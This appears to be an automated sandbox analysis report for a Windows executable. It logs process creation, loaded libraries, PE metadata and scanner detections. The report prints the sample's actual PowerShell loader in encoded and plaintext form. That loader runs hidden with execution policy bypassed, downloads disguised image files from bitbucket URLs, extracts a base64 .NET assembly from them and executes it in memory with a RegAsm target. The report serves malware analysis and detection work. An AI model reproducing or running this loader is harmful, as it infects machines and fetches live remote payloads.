Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#Mg#u#Go#c#Bn#D8#MQ#0#DQ#Ng#x#Dc#Mg#x#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#GI#aQB0#GI#dQBj#Gs#ZQB0#C4#bwBy#Gc#LwBo#Gc#Z#Bm#Gg#Z#Bm#Gc#Z##v#HQ#ZQBz#HQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#G4#ZQB3#F8#aQBt#GE#ZwBl#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.pngSoem/sdaolnwod/rgfd/wgds/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}"	Jump to behavior

Source: C:\Users\user\Desktop\nTHivMbGpg.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\Desktop\nTHivMbGpg.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\nTHivMbGpg.exe	Section loaded: feclient.dll	Jump to behavior
Source: C:\Users\user\Desktop\nTHivMbGpg.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\nTHivMbGpg.exe	Section loaded: advpack.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: nTHivMbGpg.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: nTHivMbGpg.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: nTHivMbGpg.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: nTHivMbGpg.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: nTHivMbGpg.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: nTHivMbGpg.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: nTHivMbGpg.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: nTHivMbGpg.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: nTHivMbGpg.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: s\dll\System.Core.pdb source: powershell.exe, 00000005.00000002.1293487049.000002714975C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: e.pdb source: powershell.exe, 00000005.00000002.1294975015.00000271498B2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wextract.pdb source: nTHivMbGpg.exe
Source:	Binary string: wextract.pdbGCTL source: nTHivMbGpg.exe
Source:	Binary string: dows\System.Core.pdbL source: powershell.exe, 00000005.00000002.1293487049.000002714975C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.1293487049.00000271497E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: powershell.exe, 00000005.00000002.1294975015.00000271498EB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Microsoft.pdb source: powershell.exe, 00000005.00000002.1293487049.00000271497E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000005.00000002.1294975015.00000271498EB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.1293487049.00000271497C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.1293487049.00000271497E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbD source: powershell.exe, 00000005.00000002.1293487049.00000271497C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 00000005.00000002.1294975015.00000271498EB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: powershell.exe, 00000005.00000002.1294975015.00000271498EB000.00000004.00000020.00020000.00000000.sdmp

Source: nTHivMbGpg.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: nTHivMbGpg.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: nTHivMbGpg.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: nTHivMbGpg.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: nTHivMbGpg.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: $codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#Mg#u#Go#c#Bn#D8#MQ#0#DQ#Ng#x#Dc#Mg#x#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#GI#aQB0#GI#dQBj#Gs#ZQB0#C4#bwBy#Gc#LwBo#Gc#Z#Bm#Gg#Z#Bm#Gc#Z##v#HQ#ZQBz#HQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#G4#ZQB3#F8#aQBt#GE#ZwBl#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ds#DQ#K#
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.pngSoem/sdaolnwod/rgfd/wgds/gro.tekcub
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la'

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#Mg#u#Go#c#Bn#D8#MQ#0#DQ#Ng#x#Dc#Mg#x#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#GI#aQB0#GI#dQBj#Gs#ZQB0#C4#bwBy#Gc#